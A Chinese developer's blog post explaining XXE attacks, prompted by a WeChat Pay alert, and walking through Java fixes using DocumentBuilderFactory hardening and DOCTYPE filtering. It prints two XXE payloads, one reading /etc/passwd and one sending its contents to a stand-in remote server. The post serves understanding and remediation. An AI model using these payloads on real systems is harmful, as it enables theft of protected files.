今天突然接到微信支付的通知,紧急修复XXE漏洞。虽然已经工作多年但是对网络安全仅仅使了解皮毛,要想修复漏洞就要先搞清楚漏洞的基本执行原理。
1、XXE的背景
XML External Entity attack简称XXE,XML外部实体攻击。是利用 XML标准中外部通用解析实体的概念。在解析XML文档时,解析器通过 ENTITY 扩展的功能,读取本地受保护的文件。并且使用扩展功能将受保护的文件发送到远程地址。
从维基百科上看,OWASP在2017年才把XXE漏洞列入十大网络安全风险,排名第4位。但是该漏洞被发现的时间应该是在2014年之前,并且期间并没有引起我们重视(只少我是在微信支付的提醒下才开始了解的)。
概念有点绕,下面是代码。
2、XXE攻击步骤
(1)通过DOCTYPE和ENTITY来加载本地受保护的文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY xxeattack SYSTEM "file:///etc/passwd">
]>
<xxx>&xxeattack;</xxx>
上面代码通过DOCTYPE 中的ENTITY 读取了本地的 /etc/passwd 文件,定位为变量xxeattack ,并在xxx标签中引用。引用是变量的方式必须以 & 开头,以 ; 结尾。/etc/passwd 文件中的内容会被解析到xxx标签中。
<xxx>root:1:3.......</xxx>
(2)将/etc/passwd的内容发送到远程服务器
上面只是把/etc/passwd 加载到XML的某个标签中,只要被攻击程序没有主动把这段XML打印出来还是拿不到/etc/passwd中的内容。所以我们需要XML帮我们把文件发送到我们的服务器上。修改上一步代码:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % xxeattack SYSTEM "file:///etc/passwd">
<!ENTITY remote SYSTEM 'http://remote.server/accepter?passwd=%xxeattack;'>
]>
<xxx>&remote;</xxx>
在xxeattack变量前面加了一个%号,该变量可以在ENTITY中引用,引用方式是以%开头,以;(分号)结尾。
定义第二个变量remote。值为远程服务器的url,然后定义GET参数passwd,引用xxeattack变量。
然后再xxx标签中引用remote变量。
如果解析器解析该XML扩展头时会先读取/etc/passwd 文件,把文件内容当拼到下一个变量remote中。最后解析XML正文时会把/etc/passwd当作参数请求remote代表的URL。
攻击结束…………
总结,该漏洞就是使用了XML标准可以扩展外部实体的特性,外部实体包括本地文件和远程地址。再加上实体声明中可以引用实体声明的参数。
3、修复XXE漏洞
最简单、粗暴、有效、直接的修复方式就是禁用DOCTYPE。检查项目边界中XML入口,在解析XML之前检查XML字符串是否包含DOCTYPE、ENTITY 的字符串。如果包含这两个关键字中的任意一个,都不做解析,直接返回错误或抛出异常。
微信最开始给出的JAVA解决方案是:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
factory.setExpandEntityReferences(false);
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
仅仅只有这三行代码,而且改修复方式只适用于jdk1.7以上版本。包含JDK1.7在内的低版本JDK都是无效的。
刚好我们的项目是JDK1.7,而我本地开发JDK是1.8。当我本地改完的时候发现完美的拒绝了DTD的HTTP请求。但是测试灰度环境却是毫无作用,漏洞依然存在。反复测试发现微信第一时间提供的漏洞修复方案只能修复JDK1.7以上的DTD解析。对于1.7在内的低版本JDK完全无效,最后只能判断XML是否包含DOCTYPE和ENTITY 这两个字符,如果包含任意一个则拒绝解析,直接返回错误。
目前微信给出的修改方案就比较完整了,下面是摘抄自 微信最佳安全实践
微信官方提供的JAVA解决方案
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException; // catching unsupported features
...
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
String FEATURE = null;
try {
// This is the PRIMARY defense. If DTDs (doctypes) are disallowed, almost all XML entity attacks are prevented
// Xerces 2 only - http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl
FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
dbf.setFeature(FEATURE, true);
// If you can't completely disable DTDs, then at least do the following:
// Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities
// Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities
// JDK7+ - http://xml.org/sax/features/external-general-entities
FEATURE = "http://xml.org/sax/features/external-general-entities";
dbf.setFeature(FEATURE, false);
// Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-parameter-entities
// Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities
// JDK7+ - http://xml.org/sax/features/external-parameter-entities
FEATURE = "http://xml.org/sax/features/external-parameter-entities";
dbf.setFeature(FEATURE, false);
// Disable external DTDs as well
FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
dbf.setFeature(FEATURE, false);
// and these as well, per Timothy Morgan's 2014 paper: "XML Schema, DTD, and Entity Attacks"
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
// And, per Timothy Morgan: "If for some reason support for inline DOCTYPEs are a requirement, then
// ensure the entity settings are disabled (as shown above) and beware that SSRF attacks
// (http://cwe.mitre.org/data/definitions/918.html) and denial
// of service attacks (such as billion laughs or decompression bombs via "jar:") are a risk."
// remaining parser logic
...
} catch (ParserConfigurationException e) {
// This should catch a failed setFeature feature
logger.info("ParserConfigurationException was thrown. The feature '" +
FEATURE + "' is probably not supported by your XML processor.");
...
}
catch (SAXException e) {
// On Apache, this should be thrown when disallowing DOCTYPE
logger.warning("A DOCTYPE was passed into the XML document");
...
}
catch (IOException e) {
// XXE that points to a file that doesn't exist
logger.error("IOException occurred, XXE may still possible: " + e.getMessage());
...
}
DocumentBuilder safebuilder = dbf.newDocumentBuilder();
总结,其实漏洞的核心就是DTD(DOCTYPE)导致的,只要在解析XML之前拦截该关键词就可以避免。
P.S.
// and these as well, per Timothy Morgan's 2014 paper: "XML Schema, DTD, and Entity Attacks"
微信提供的修复方案中的注释也指出,2014年Timothy Morgan的论文就论述了XML DTD的Entity攻击。所以这个漏洞至少在2014年就被挖出来了,但是因为XML的用途导致其危害并不大。而恰巧微信选择了XML作为支付接口的报文传输,导致了该接口这次的广泛重视。所以说XXE是被微信捧红的一点不为过,噗~~~
P.S.
本来以为这次漏洞是因为我们对接时忽略了XML的DTD特性导致的,后来发现原来微信自己的服务端SDK也中招了。
啥?你还想使用DTD特性?
我都不知道为毛微信要用XML格式来传递报文……JSON不好吗?
欢迎拍砖、讨论、指正……